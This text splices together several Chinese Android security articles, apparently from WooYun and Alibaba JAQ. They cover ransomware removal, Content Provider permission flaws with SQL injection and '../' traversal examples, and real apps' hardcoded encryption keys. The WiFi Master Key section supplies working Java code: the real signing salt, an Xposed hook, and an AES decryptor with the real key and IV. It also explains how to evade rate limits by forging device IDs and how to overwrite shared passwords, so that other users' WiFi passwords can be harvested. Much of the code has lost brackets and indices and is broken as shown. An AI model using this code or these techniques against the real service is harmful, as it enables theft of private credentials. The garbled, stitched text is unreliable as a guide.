360手机急救箱独有三大功能:“安装拦截”、“超强防护”、“摇一摇杀毒”,可以有效的查杀勒索软件。 安装拦截功能,可以让勒索软件无法进入用户手机; 超强防护功能,能够清除勒索软件未经用户允许设置的锁屏PIN码,还能自动卸载木马; 摇一摇杀毒可以在用户中了勒索软件,无法操作手机的情况下,直接杀掉木马,有效保护用户安全。
三、安全模式
安全模式也是一种有效的清除方案,不同的机型进入安全模式的方法可能不同,建议用户查找相应机型进入安全模式的具体操作方法。 我们以Nexus 5为例介绍如何进入安全模式清除勒索软件,供用户参考。步骤如下: 步骤一:当手机被锁后长按手机电源键强制关机,然后重启手机。 步骤二:当出现Google标志时,长按音量“-”键直至进入安全模式。 步骤三:进入“设置”页面,找到并点击“应用”。 步骤四:找到对应的恶意应用,点击卸载,重启手机,清除成功。
p48

四、ADB命令
对有一定技术基础的用户,在手机有Root权限并且已经开启USB调试(设置->开发者选项->USB调试)的情况下,可以将手机连接到电脑上,通过ADB命令清除勒索软件。 针对设置PIN码类型的勒索软件,需要在命令行下执行以下命令:
#!bash > adb shell > su > rm /data/system/password.key
针对其他类型的勒索软件,同样需要在命令行下执行rm命令,删除勒索软件安装的路径。 五、刷机 如以上方法都无法解决,用户参考手机厂商的刷机指导或者到手机售后服务,在专业指导下进行刷机操作。

附录:参考资料


https://en.wikipedia.org/wiki/Mobile_security#Ransomware

http://www.symantec.com/connect/blogs/fakeav-holds-android-phones-ransom

http://malware.dontneedcoffee.com/2014/05/police-locker-available-for-your.html

http://www.welivesecurity.com/2014/06/04/simplocker/

http://blogs.360.cn/360mobile/2014/06/18/analysis_of_tklocker/

http://blog.avlyun.com/2014/07/1295/%E7%97%85%E6%AF%92%E6%92%AD%E6%8A%A5%E4%B9%8B%E6%B5%81%E6%B0%93%E5%8B%92%E7%B4%A2/

http://news.drweb.com/show/?i=5978&c=9&lng=en&p=0

http://blogs.360.cn/360mobile/2015/05/19/analysis_of_ransomware/

http://www.welivesecurity.com/2015/09/10/aggressive-android-ransomware-spreading-in-the-usa/

Content Provider组件简介

Content Provider组件是Android应用的重要组件之一,管理对数据的访问,主要用于不同的应用程序之间实现数据共享的功能。Content Provider的数据源不止包括SQLite数据库,还可以是文件数据。通过将数据储存层和应用层分离,Content Provider为各种数据源提供了一个通用的接口。 创建一个自己的Content Provider需要继承自ContentProvider抽象类,需要重写其中的onCreate()、query()、insert()、update()、delete()、getType()六个抽象方法,这些方法实现对底层数据源的增删改查等操作。还需在AndroidManifest文件注册Content Provider,注册时指定访问权限、exported属性、authority属性值等。 其它APP使用ContentResolver对象来查询和操作Content Provider,此对象具有Content Provider中同名的方法名。这样其他APP接就可以访问Content Provider对应的数据源的底层数据,而无须知道数据的结构或实现。 如何定位到具体的数据? 采用Content Uri,一个Content Uri如下所示:
content://com.jaq.providertest.friendsprovider/friends
它的组成一般分为三部分:
1 content://:作为 content Uri的特殊标识(必须); 权(authority):用于唯一标识这个Content Provider,外部访问者可以根据这个标识找到它;在AndroidManifest中也配置的有; 路径(path): 所需要访问数据的路径,根据业务而定。
这些内容就不具体展开详谈了,详见参考【1】【4】。

风险简介

如果在AndroidManifest文件中将某个Content Provider的exported属性设置为true,则多了一个攻击该APP的攻击点。如果此Content Provider的实现有问题,则可能产生任意数据访问、SQL注入、目录遍历等风险。
1.1 私有权限定义错误导致数据被任意访问
私有权限定义经常发生的风险是:定义了私有权限,但是却根本没有定义私有权限的级别,或者定义的权限级别不够,导致恶意应用只要声明这个权限就能够访问到相应的Content Provider提供的数据,造成数据泄露。
以公开的乌云漏洞WooYun-2014-57590为例:
某网盘客户端使用了自己的私有权限,但是在AndroidManifest中却没有定义私有权限,其它APP只要声明这个权限就能访问此网盘客户端提供的Provider,从而访问到用户数据。 在网盘客户端的AndroidManifest中注册Provider时,声明了访问时需要的读写权限,并且权限为客户端自定义的私有权限: 但是在AndroidManifest中却没有见到私有权限“com.huawei.dbank.v7.provider.DBank.READ_DATABASE”和“com.huawei.dbank.v7.provider.DBank.WRITE_DATABASE”的定义: 反编译客户端后查看到的URI,根据这些可以构造访问到Provider的URI: 编写POC 以查看网盘下载的文件列表为例, 在POC的AndroidManifest中声明私有权限,权限的保护级别定义为最低级“normal”: 主要代码为: 拿到数据库中保存的下载列表数据: 对应的数据库: 这样任意的恶意应用程序就可以访问到用户网盘的上传、下载记录,网盘里面存的文件列表等隐私信息。
再以公开的乌云漏洞wooyun-2013-039697为例:
定义了私有权限,但是保护等级设置成为了dangerous或者normal,这样的保护等级对于一些应用的Provide重要性相比保护级低了。 Provider为: 私有权限“com.renren.mobile.android.permission.PERMISSION_ADD_ACCOUNT”的定义为: 反编译客户端,看到AcountProvider对应的实现: 编写POC: 在AndroidManifest中定义和声明权限: 主要代码为: 可看到用户的账户信息,包括uid,手机号,加密后的密码等:
1.2 本地SQL注入
当Content Provider的数据源是SQLite数据库时,如果实现不当,而Provider又是暴露的话,则可能会引发本地SQL注入漏洞。 Content Provider的query( )的方法定义为: 其中参数:
- uri: 为content Uri,要查询的数据库; projection:为要查询的列名; selection和selectionArgs:要指定查询条件; sortOrder:查询结果如何排序。
query() 与 SQL 查询对比如下: 如果query( )中使用的是拼接字符串组成SQL语句的形式去查询底层的SQLite数据库时,容易发生SQL注入。
以乌云公开漏洞wooyun-2016-0175294为例:
客户端的com.sohu.sohuvideo.provider.PlayHistoryProvider的exported属性为“true”: 反编译客户端,追踪PlayHistoryProvider的实现,发现是用拼接字符串形式构造原始的SQL查询语句: 使用drozer工具,证明漏洞: 对外暴露的Content Provider实现了openFile()接口,因此其他有相应调用该Content Provider权限的应用即可调用Content Provider的openFile()接口进行文件数据访问。但是如果没有进行Content Provider访问权限控制和对访问的目标文件的Uri进行有效判断,攻击者利用文件目录遍历可访问任意可读文件,更有甚者可以往手机设备可写目录中写入任意数据。
例子1
以乌云公开漏洞wooyun-2013-044407为例: 此APP实现中定义了一个可以访问本地文件的Content Provider组件,为com.ganji.android.jobs.html5.LocalFileContentProvider,因为使用了minSdkServison=“8”,targetSdkVersion=”13”,即此Content Provider采用默认的导出配置,即android:exported=”true”: 该Provider实现了openFile()接口: 通过此接口可以访问内部存储app_webview目录下的数据,由于后台未能对目标文件地址进行有效判断,可以通过”../”实现目录遍历,实现对任意私有数据的访问。
例子2
某社交应用客户端,使用了的minSDKVersion为8,定义了私有权限,并且android:protectionLevel设为了signature 有一个对外暴露的Content Provider,即com.facebook.lite.photo.MediaContentProvider,此Provider没有设置访问权限,而另外一个Provider是设置了访问权限的: 在MediaContentProvider中实现了openFile()接口,没有对传入的URI进行限制和过滤: 此接口本来只想让用户访问照片信息的,但是却可以突破限制,读取其他文件: POC: 读取到其他文件的内容为: 另外看到Openfile()接口的实现中,如果要访问的文件不存在,就会创建此文件,还有可能的风险就是在应用的目录中写入任意文件。

阿里聚安全开发者建议

在进行APP设计时,要清楚哪些Provider的数据是用户隐私数据或者其他重要数据,考虑是否要提供给外部应用使用,如果不需要提供,则在AndroidManifes文件中将其exported属性显式的设为“false”,这样就会减少了很大一部分的攻击面。 人工排查肯定比较麻烦,建议开发者使用阿里聚安全提供的安全扫描服务,在APP上线前进行自动化的安全扫描,尽早发现并规避这样的风险。 注意: 由于Android组件Content Provider无法在Android 2.2(即API Level 8)系统上设为不导出,因此建议声明最低SDK版本为8以上版本(这已经是好几年前的SDK了,现在一般都会大于此版本); 由于API level 在17以下的所有应用的“android:exported”属性默认值都为true,因此如果应用的Content Provider不必要导出,建议显式设置注册的Content Provider组件的“android:exported”属性为false; 如果必须要有数据提供给外部应用使用,则做好设计,做好权限控制,明确什么样的外部应用可以使用,如对于本公司的应用在权限定义时用相同签名即可,合作方的应用检查其签名;不过还是尽量不提供用户隐私敏感信息。 对于必须暴露的Provider,如第二部分遇到的风险解决办法如下:
2.1 正确的定义私有权限
在AndroidManifest中定义私有权限的语法为: 其中android:protectionLevel的可选值分别表示:
- normal:默认值,低风险权限,在安装的时候,系统会自动授予权限给 application。 dangerous:高风险权限,如发短信,打电话,读写通讯录。使用此protectionLevel来标识用户可能关注的一些权限。Android将会在安装程序时,警示用户关于这些权限的需求,具体的行为可能依据Android版本或者所安装的移动设备而有所变化。 signature: 签名权限,在其他 app 引用声明的权限的时候,需要保证两个 app 的签名一致。这样系统就会自动授予权限给第三方 app,而不提示给用户。 signatureOrSystem:除了具有相同签名的APP可以访问外,Android系统中的程序有权限访问。
大部分开放的Provider,是提供给本公司的其他应用使用的,一般的话一个公司打包签名APP的签名证书都应该是一致的,这种情况下,Provider的android:protectionLevel应为设为“signature”。
2.2 防止本地SQL注入

注意:一定不要使用拼接来组装SQL语句。
如果Content Provider的数据源是SQLite数据库,如果使用拼接字符串的形式组成原始SQL语句执行,则会导致SQL注入。 如下的选择子句: 如果执行此操作,则会允许用户将恶意 SQL 串连到 SQL 语句上。 例如,用户可以为 mUserInput 输入“nothing; DROP TABLE ** ;”,这会生成选择子句
#!sql var = nothing; DROP TABLE **;
由于选择子句是作为SQL语句处理,因此这可能会导致提供程序擦除基础 SQLite 数据库中的所有表(除非提供程序设置为可捕获 SQL 注入尝试)。
使用参数化查询:
要避免此问题,可使用一个“ ? ” 作为可替换参数的选择子句以及一个单独的选择参数数组。 执行此操作时,用户输入直接受查询约束,而不解释为 SQL 语句的一部分。 由于用户输入未作为 SQL 处理,因此无法注入恶意 SQL。 请使用此选择子句,而不要使用串连来包括用户输入:
#!java String mSelectionClause = “var = ?”;
按如下所示设置选择参数数组:
#!java String
selectionArgs = {“”};
按如下所示将值置于选择参数数组中:
#!java selectionArgs
= mUserInput;
还可调用SQLiteDatabase类中的参数化查询query()方法:
3.3 防止目录遍历
1、去除Content Provider中没有必要的openFile()接口。 2、过滤限制跨域访问,对访问的目标文件的路径进行有效判断: 使用Uri.decode()先对Content Query Uri进行解码后,再过滤如可通过“../”实现任意可读文件的访问的Uri字符串,如:
2.4 通过检测签名来授权合作方应用访问
如果必须给合作方的APP提供Provider的访问权限,而合作方的APP签名证书又于自己公司的不同,可将合作方的APP的签名哈希值预埋在提供Provider的APP中,提供Provider的APP要检查请求访问此Provider的APP的签名,签名匹配通过才让访问。

参考


https://developer.android.com/guide/topics/providers/content-provider-basics.html

http://zone.wooyun.org/content/15097

http://www.tutorialspoint.com/android/android_content_providers.htm

http://www.compiletimeerror.com/2013/12/content-provider-in-android.html

https://developer.android.com/guide/topics/manifest/permission-element.html?hl=zh-cn

https://developer.android.com/guide/topics/manifest/permission-element.html

http://www.wooyun.org/bugs/wooyun-2013-039697

http://www.wooyun.org/bugs/wooyun-2014-057590

http://drops.wooyun.org/tips/4314

http://www.wooyun.org/bugs/wooyun-2016-0175294

http://drops.wooyun.org/tips/4314

http://www.wooyun.org/bugs/wooyun-2013-044407

http://www.wooyun.org/bugs/wooyun-2013-044411

https://jaq.alibaba.com/blog.htm?id=61

https://github.com/programa-stic/security-advisories/tree/master/FacebookLite

简介

在阿里聚安全的漏洞扫描器中和人工APP安全审计中,经常发现有开发者将密钥硬编码在Java代码、文件中,这样做会引起很大风险。信息安全的基础在于密码学,而常用的密码学算法都是公开的,加密内容的保密依靠的是密钥的保密,密钥如果泄露,对于对称密码算法,根据用到的密钥算法和加密后的密文,很容易得到加密前的明文;对于非对称密码算法或者签名算法,根据密钥和要加密的明文,很容易获得计算出签名值,从而伪造签名。

风险案例

密钥硬编码在代码中,而根据密钥的用途不同,这导致了不同的安全风险,有的导致加密数据被破解,数据不再保密,有的导致和服务器通信的加签被破解,引发各种血案,以下借用乌云上已公布的几个APP漏洞来讲讲。
1.1 某互联网金融APP加密算法被破解导致敏感信息泄露
某P2P应用客户端,用来加密数据的DES算法的密钥硬编码在Java代码中,而DES算法是对称密码算法,既加密密钥和解密密钥相同。 反编译APP,发现DES算法: 发现DES算法的密钥,硬编码为“yrdAppKe”,用来加密手势密码: 将手势密码用DES加密后存放在本地LocusPassWordView.xml文件中: 知道了密文和加密算法以及密钥,通过解密操作,可以从文件中恢复出原始的手势密码。或者使用新的生成新的手势密码 而与服务器通信时接口中的Jason字段也用了DES算法和密钥硬编码为“yRdappKY”: 和服务器通信采用http传输,没有使用https来加密通信,如果采用中间人攻击或者路由器镜像,获得流量数据,可以破解出用户的通信内容。
1.2 某租车APP加密算法被破解导致一些列风险
某租车APP与服务器通信的接口采用http传输数据,并且有对传输的部分参数进行了加密,加密算法采用AES,但是密钥硬编码在java代码中为“shenzhoucar123123”,可被逆向分析出来,导致伪造请求,结合服务器端的漏洞,引起越权访问的风险,如越权查看其它用户的订单等。 和服务器通信时的数据为: q字段是加密后的内容。逆向APP,从登录Activity入手: 分析登录流程:v1是用户名,v2是密码,v3是PushId,在用户名和密码不为空并且长度不小于11情况下,执行LoginOperate相关操作,追踪LoginOperate的实现,发现继承自BaseOperate,继续追踪BaseOperate的实现: 在BaseOperate的initUrl()方法中,找到了APP是怎么生成请求数据的: 继续追踪上图中的initJsonUrl()方法,发现其调用了AES加密: 继续追踪aes.onEncrypt()函数: 在onEncrypt()函数中调用了encrypt()函数用来加密数据,追踪encrypt()函数的实现,发现其使用AES算法,并且密钥硬编码在java代码中为“shenzhoucar123123” 到现在请求中的数据加密如何实现的就清晰了,另外由于服务器权限控制不严,就可以构造订单id的请求,达到越权访问到其他用户的订单。 构造{“id”:”11468061”}的请求: 其中uid设置为你自己的uid即可,可以成功看到其他人的订单: 攻击者完全可以做到使用其他脚本重新实现相同的加密功能并拼接出各个接口请求,批量的刷取订单信息和用户其他信息。
1.3 某酒店APP加签算法被破解导致一系列风险
某酒店APP和服务器通信时接口采用http通信,数据进行了加密,并且对传输参数进行签名,在服务器端校验签名,以检查传输的数据是否被篡改,但是加签算法和密钥被逆向分析,可导致加签机制失效,攻击者可任意伪造请求包,若结合服务器端的权限控制有漏洞,则可引发越权风险等。 APP和服务器通信的原始包如下图,可以看到有加签字段sign: 逆向APP定位到加密算法的逻辑代码,com.htinns.biz.HttpUtils.class,其实现逻辑为: 原始数据是unSignData,使用RC4算法加密,密钥为KEY变量所代表的值,加密后的数据为signData,传输的数据时的data字段为signData。 加签字段signd的生成方法是用unsignData拼接时间戳time和resultkey,然后做md5,再进行base64编码。时间戳保证了每次请求包都不一样。 sendSign()算法是用c或c++写的,放入了so库,其他重要算法都是用java写的。 可以使用IDA逆向分析so库,找到sendSign()方法 而乌云漏洞提交者采用的是分析sign和getSign(sign)的数据,做一个算法破解字典。其实还有种方法直接调用此so库,来生成字典。 签名破解以后,就可以构造发送给服务器的数据包进行其他方面的安全测试,比如越权、重置密码等。

阿里聚安全开发建议

通过以上案例,并总结下自己平时发现密钥硬编码的主要形式有: 1、密钥直接明文存在sharedprefs文件中,这是最不安全的。 2、密钥直接硬编码在Java代码中,这很不安全,dex文件很容易被逆向成java代码。 3、将密钥分成不同的几段,有的存储在文件中、有的存储在代码中,最后将他们拼接起来,可以将整个操作写的很复杂,这因为还是在java层,逆向者只要花点时间,也很容易被逆向。 4、用ndk开发,将密钥放在so文件,加密解密操作都在so文件里,这从一定程度上提高了的安全性,挡住了一些逆向者,但是有经验的逆向者还是会使用IDA破解的。 5、在so文件中不存储密钥,so文件中对密钥进行加解密操作,将密钥加密后的密钥命名为其他普通文件,存放在assets目录下或者其他目录下,接着在so文件里面添加无关代码(花指令),虽然可以增加静态分析难度,但是可以使用动态调式的方法,追踪加密解密函数,也可以查找到密钥内容。 保证密钥的安全确是件难事,涉及到密钥分发,存储,失效回收,APP防反编译和防调试,还有风险评估。可以说在设备上安全存储密钥这个基本无解,只能选择增大攻击者的逆向成本,让攻击者知难而退。而要是普通开发者的话,做妥善保护密钥这些事情这需要耗费很大的心血。 产品设计者或者开发者要明白自己的密钥是做什么用的,重要程度怎么样,密钥被逆向出来会造成什么风险,通过评估APP应用的重要程度来选择相应的技术方案。
参考

http://www.wooyun.org/bugs/wooyun-2010-0187287

http://www.wooyun.org/bugs/wooyun-2010-0105766

http://www.wooyun.org/bugs/wooyun-2015-0162907

http://jaq.alibaba.com/safety?spm=a313e.7837752.1000001.1.zwCPfa

https://www.zhihu.com/question/35136485/answer/84491440

起因

考虑文章可读性未做过多马赛克,又希望不对厂商造成过多影响,故发布文章距离文章完成已经有些时日,如有出入欢迎指正.(关联漏洞厂商给了低危,想来就厂商看来此风险威胁不大) 作者不擅长加解密方面,很多知识都是临时抱佛脚,现学现卖的. 之前文章有反馈说理论太多容易引起生理不适,这篇直接先上案例看看效果. 乌云主站此类漏洞很少,希望文章能够抛砖引玉带动大家挖掘此类漏洞. 有些好案例但未到解密期限,后续可能会补上(比如签名算法和密码在native层/破解签名加密算法后编写程序fuzz后端漏洞....). 网上盛传wifi万能钥匙侵犯用户隐私默认上传用户wifi密码,导致用户wifi处于被公开的状态 有朋友在drops发文分析此软件:http://drops.wooyun.org/papers/4976,其中提到

此外接口请求中有一个sign字段是加签,事实上是把请求参数合并在一起与预置的key做了个md5,细节就不赘述了。这两个清楚了之后其实完全可以利用这个接口实现一个自己的Wifi钥匙了。

对此处比较感兴趣,一般摘要和加密会做到so里来增加逆向难度,但是wifi万能钥匙直接是再java层做的算法尝试顺着文章作者思路去解一下这个算法. 关联漏洞:
http://www.wooyun.org/bugs/wooyun-2015-099268

万能钥匙版本
官网版:
android:versionCode="620" android:versionName="3.0.98" package="com.snda.wifilocating"
googleplay版:
android:versionCode="58" android:versionName="1.0.8" package="com.halo.wifikey.wifilocating"

摘要算法

首先抓包分析确定关键字后追踪其调用调用 定位到摘要算法:传入的Map对象后转成数组排序后拼接上传入的string进行md5最后转成大写. 然后再找到key,到这里看貌似这个key是静态的. 现在可以根据这个写出sign的类了.
#!java import java.security.MessageDigest; import java.util.Arrays; import java.util.HashMap; import java.util.Map; class Digest { public static final String key = "LQ9$ne@gH*Jq%KOL"; public static final String retSn = "d407b1220d9447afac1653c337b00abf"; //服务器返回的retSn需要每次都换... /** * @param args * chanid=guanwang */ public static void main(String
args) { HashMap v1 = new HashMap(); v1.put("och", "guanwang"); v1.put("ii", "359250051898912"); v1.put("appid", "0002"); v1.put("pid", "qryapwd:commonswitch"); v1.put("mac","f8:a9:d0:76:e4:31"); v1.put("lang","cn"); v1.put("bssid","74:44:01:7a:a4:c2,ec:6c:9f:1e:3b:f5,74:44:01:7a:a4:c0,20:4e:7f:85:92:01,cc:b2:55:e2:77:70,1c:fa:68:14:a3:d5,8c:be:be:24:be:48,c0:61:18:2c:89:12,a4:93:4c:b1:ee:31,a6:93:4c:b1:ee:31,c8:3a:35:09:c3:38,78:a1:06:3f:e0:fc,2a:2c:b2:ff:32:3b,a8:57:4e:03:5a:ba,28:2c:b2:ff:32:3b,5c:63:bf:cd:d1:68,"); v1.put("v","620"); v1.put("ssid","OpenWrt,.........,hadventure,Netcore,Serial-beijing_5G,fao706,linksys300n,willtech,serial_guest,adata,Excel2,Newsionvc,Excellence,ShiningCareer,"); v1.put("method","getSecurityCheckSwitch"); v1.put("uhid", "a0000000000000000000000000000001"); v1.put("st", "m"); v1.put("chanid", "guanwang"); v1.put("dhid", "4028b2994b722389014bcf2e2c6466ea"); //查询频繁被ban后可以尝试更改此处 String sign = digest(v1,key); System.out.println("sign=="+sign); //固定盐算sign System.out.println("sign2=="+digest(v1,retSn)); //变化盐算sign } public static String digest(Map paramMap, String paramString) { new StringBuilder("---------------key of md5:").append(paramString).toString(); Object
arrayOfObject = paramMap.keySet().toArray(); //转为数组 Arrays.sort(arrayOfObject); //排序 StringBuilder localStringBuilder = new StringBuilder(); int i = arrayOfObject.length; for (int j = 0; j < i; j++) localStringBuilder.append((String)paramMap.get(arrayOfObject
)); //拼接 localStringBuilder.append(paramString); //加盐 //System.out.println("string=="+localStringBuilder.toString()); return md5(localStringBuilder.toString()).toUpperCase(); //算出md5 } public final static String md5(String s) { char hexDigits
={'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; try { byte
btInput = s.getBytes(); // 获得MD5摘要算法的 MessageDigest 对象 MessageDigest mdInst = MessageDigest.getInstance("MD5"); // 使用指定的字节更新摘要 mdInst.update(btInput); // 获得密文 byte
md = mdInst.digest(); // 把密文转换成十六进制的字符串形式 int j = md.length; char str
= new char
; int k = 0; for (int i = 0; i < j; i++) { byte byte0 = md
; str
= hexDigits
; str
= hexDigits
; } return new String(str); } catch (Exception e) { e.printStackTrace(); return null; } } }
修改请求包后重新计算sign,再次发包.结果却不是预期那样,依然返回的是
{"retCd":"-1111","retMsg":"商户数字签名错误,请联系请求发起方!","retSn":"141356b44efd487ca0c333d8bec89da9"}
而且还有一个奇怪retSN,之前查询成功也有retSn的.到这里开始怀疑key不是那么简单的一直是不变的.于是我用xposed hook了其md5方法的传入参数.
#!java package org.wooyun.xposedhook; import de.robv.android.xposed.IXposedHookLoadPackage; import de.robv.android.xposed.XC_MethodHook; import de.robv.android.xposed.XposedBridge; import de.robv.android.xposed.callbacks.XC_LoadPackage.LoadPackageParam; import static de.robv.android.xposed.XposedHelpers.findAndHookMethod; public class Main implements IXposedHookLoadPackage { @Override public void handleLoadPackage(LoadPackageParam lpparam) throws Throwable { // TODO Auto-generated method stub if (!lpparam.packageName.equals("com.snda.wifilocating")) { // XposedBridge.log("loaded app:" + lpparam.packageName); return; } findAndHookMethod("com.snda.wifilocating.f.ae", lpparam.classLoader, "a", String.class, new XC_MethodHook() { @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable { // TODO Auto-generated method stub // String result = (String) param.getResult(); XposedBridge.log("---input---:" + param.args
); super.beforeHookedMethod(param); } @Override protected void afterHookedMethod(MethodHookParam param) throws Throwable { // TODO Auto-generated method stub XposedBridge.log("---output---:" + param.getResult()); super.afterHookedMethod(param); } }); } }
通过hook发现大部分请求的sign是按照之前分析的方法计算出的,但是在查询密码处计算sign的key一直在变化的,这里是一个动态的key 再返回去分析摘要算法的调用情况来追踪动态key如何产生的,交叉引用xrefs 原来计算sign的方式还请求包中pid的值有关 当pid=qryapwd:commoanswith所用的key并非之前提到的静态密钥,而且调用一个方法,追踪此方法发现此参数是从默认的shared_prefs文件中读取的.如果为空才使用静态密钥.(分享wifi密码和查询wifi密码均进入此条件) 那么shared_prefs默认文件中的值又是从哪里生成的了?通过抓包可以发现这个是由服务器返回的.每次查询后都会更新 现在已经完全了解官网版本的两种摘要算法,可以自己构造请求来查询wifi密码了.

请求频率与dhid

在之后的测试发现如果查询过于频繁会被服务器给ban掉,通过fuzz发现服务器是通过dhid这个参数来判断是请求来源是否为同一设备,修改dhid然后重新计算sign发包.此处的sign是通过上文digest(v1,retSn)算出的. 显然dhid也做了合法性效验,继续探索dhid是如何生成的,客户端是从私有文件中取得dhid的,而客户端的dhid是由应用安装后发送请求由服务器返回的. 通过修改此处请求并重新计算sign就可以得到新的dhid来突破请求限制了.此处的sign是通过上文digest(v1,key)算出的.(参数字段也要修改)

老版本遗留问题

在搜索wifi万能钥匙早期版本的过程中,发现googleplay上的版本为早期1.x version的.摘要算法和加密算法都基本和新版本一致只不过密钥不同.服务端通过v参数(版本号)来区分计算sign. googleplay版的查询wifi密码后并未返回retSn,通过hook和逆向确定此版本wifi密码查询功能并未使用服务器返回的retSn来作为摘要算法的盐.而是使用之前分析的固定key的方式计算sign.这就使得我们制作自己的wifi密码查询小工具变得简单多了. 这就是摘要算法/加密算法被破解后危害的持续性,因为此类漏洞的修补不仅仅是服务端代码更新且需要同步客户端同步更新,但是又无法保证每个用户都更新客户端,为了可用性而牺牲安全性.一般妥协的做法就是兼容方式的为不同时期的客户端提供不同的服务,当然用户体验还是一致的,只是现实方式略有区别.

pwd加密算法分析

查询密码后服务器返回的wifi密码是加密过的,但是这种加密客户端必定对应有解密算法.你的剑就是我的剑.
#!java import javax.crypto.Cipher; import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; public class AES { static Cipher cipher; static final String KEY_ALGORITHM = "AES"; /* * chanid=guanwang 官网版解密 */ static final String CIPHER_ALGORITHM_CBC_NoPadding = "AES/CBC/NoPadding"; static SecretKey secretKey; public static void main(String
args) throws Exception { System.out.println(method4("A8A839A49A25420E3E0E67AA1B22EDCCA3825A7610258FAAEAF26C4200F68C47"));// length = n*16 } static byte
getIV() { String iv = "j#bd0@vp0sj!3jnv"; //IV length: must be 16 bytes long return iv.getBytes(); } static String method4(String str) throws Exception { cipher = Cipher.getInstance(CIPHER_ALGORITHM_CBC_NoPadding); String key = "jh16@`~78vLsvpos"; SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES"); byte
arrayOfByte1 = null; cipher.init(Cipher.DECRYPT_MODE, secretKey, new IvParameterSpec(getIV()));//使用解密模式初始化 密钥 while (true) { int i = str.length(); arrayOfByte1 = null; if (i >= 2) { int j = str.length() / 2; arrayOfByte1 = new byte
; for (int k = 0; k < j; k++) arrayOfByte1
= ((byte)Integer.parseInt(str.substring(k * 2, 2 + k * 2), 16)); } byte
arrayOfByte2 = cipher.doFinal(arrayOfByte1); return new String(arrayOfByte2); } } }

伪造wifi密码

如果不想改密码还可以伪造分享ap请求来覆盖之前的密码,依然需要计算sign哦. 再覆盖一次.

wifi密码查询小工具

综合上述分析就可以制作出自己的wifi密码查询工具了. 顺手也写了一个android客户端.
乌云案例

本地加解密:

http://www.wooyun.org/bugs/wooyun-2015-0108500

签名算法脆弱:

http://www.wooyun.org/bugs/wooyun-2015-0106692

http://www.wooyun.org/bugs/wooyun-2015-0106778

http://www.wooyun.org/bugs/wooyun-2015-0110075
小结 由案例可知应用密码学相关的设计一定要在项目初始设计完善,不然后患无穷而且很难修复. sign的算法因为必然存在客户端里,所有终究会被定位到,只是难易程度不同.所以在sign算法的隐藏上下功夫整个方向是不对的. 得想出一种方案让攻击者知道sign的算法也很难利用此算法,例如:计算sign之后对数据进行非对称加密,这时要对sign重新计算sign就无法直接从http包中获取字段,要解密也没有私钥.只有通过hook以及反编译来获得计算的sign的参数变得较为繁琐,如果有必要可以对应用进行加壳使用反编译和hook变得更加困难. 设计好方案之后的关键就是选择加密算法/密钥存储位置.

Android密码学相关-加密/摘要算法


分类

- 对称加密(symmetric cryptography)/共享密钥加密(shared-key cryptography):AES/DES/RC4/3DES... 非对称加密(asymmetric cryptography)/公开密钥加密(public-key cryptography):RSA/ECC/Diffie-Hellman... 基于密码加密 password-based encryption (PBE)
摘要/哈希/散列函数:md5/SHA1... (单向陷门/抗碰撞) 优缺点: 由于进行的都是大数计算,使得RSA最快的情况也比DES慢上好几倍,无论是软件还是硬件实现。速度一直是RSA的缺陷。一般来说只用于少量数据加密。RSA的速度比对应同样安全级别的对称密码算法要慢1000倍左右。
易混淆概念
Message Authentication:消息认证是一个过程,用以验证接收消息的真实性(的确是由它所声称的实体发来的)和完整性(未被篡改、插入、删除),同时还用于验证消息的顺序性和时间性(未重排、重放、延迟). HMAC:是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。(安全性不依赖哈希算法,依赖密钥) MAC: Message Authentication Code 消息鉴别码实现鉴别的原理是,用公开函数和密钥产生一个固定长度的值作为认证标识(keyed hash function),用这个标识鉴别消息的完整性.使用一个密钥生成一个固定大小的小数据块,即MAC,并将其加入到消息中,然后传输.接收方利用与发送方共享的密钥进行鉴别认证等 digital signatures 消息的发送者用自己的私钥对消息摘要进行加密,产生一个加密后的字符串,称为数字签名。因为发送者的私钥保密,可以确保别人无法伪造生成数字签名,也是对信息的发送者发送信息真实性的一个有效证明。。数字签名是非对称密钥加密技术与数字摘要技术(hash function)的应用。 Hash 简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。 密钥(key)/密码(password) 一些对比:
- 数字签名使用非对称加密,MACs使用对称加密 数字签名可以保证"不可抵赖性",MACs通常不行 数字签名可以和哈希函数结合使用,但是哈希函数并不总是数字签名 hash函数不使用密钥不能直接用于MAC

选择加密算法/摘要算法

- 密码生成key的加密算法 : AES的key是由使用passwd和salt的方法生成 公开密钥加密算法 : RSA 预设key的加密算法 : AES使用一个预定义好的key

- 特别重要的用户数据加解密/签名验证应选择基于密码生成key的加密算法 (PBE) 本地加解密/签名验证使用预置key的加密算法 (对称加密) 客户端/服务端通信...加解密/签名验证使用公钥加密算法 (非对称加密)

Protecting Key
当使用加密技术以确保敏感数据安全(机密性和完整性),如果密钥(key)泄露即使是最强大的加密算法和密钥长度也不能保障来自第三方的攻击.所以一个好的保存密钥的方式变得十分重要. 预置密钥(key):服务端到客户端的通信加密/摘要/签名 密钥协商:由服务端返回密钥/盐值 算法生成密钥:本地数据加解密 key的存储位置 1.手机缓存 password-based encryption:当key由密码加盐生成后就会存储在用户手机的缓存中,再未root的情况下受android沙箱机制保护其他第三方应用是无法读取的. 2.应用目录 当key以私有模式存储在应用目录下,在未root的情况下其他应用是无法读取的.如果应用关闭backup功能,就无法通过abd backup备份出key.故当此种场景下为了密钥的安全性建议禁用backup. 如果想在root条件下保护密钥,就必须对密钥进行加密或者混淆. 3.APK文件 因为apk中的文件是公开的,所以一般来讲此处不建议存储敏感数据比如key.如果再apk文件中存储了密钥就必须对其进行混淆并且确保其不能被轻易读取到. 4.公共存储区域(如Sdcard) 因为公共存储区域是全局可读的,也是不建议存储敏感数据的地方.若key存储在此区域必须进行加密和混淆. 5.代码中(dex or so) 硬编码再代码中的key,上文中的提到的wifi万能钥匙的key就是.可以被逆向发现,不建议存储此处.若key存储在此区域必须进行加密和混淆以及对应用加固增加逆向难度.
建议
1.当指定的加密算法时显式指定加密模式和填充方式
algorithm/mode/padding
2.使用健壮的算法 3.当使用基于密码的加密算法时不能将密码存储在设备中 4.使用密码生成key时记得加盐
SecretKey secretKey = generateKey(password, mSalt);
5.当使用密码生成key时指定哈希迭代次数
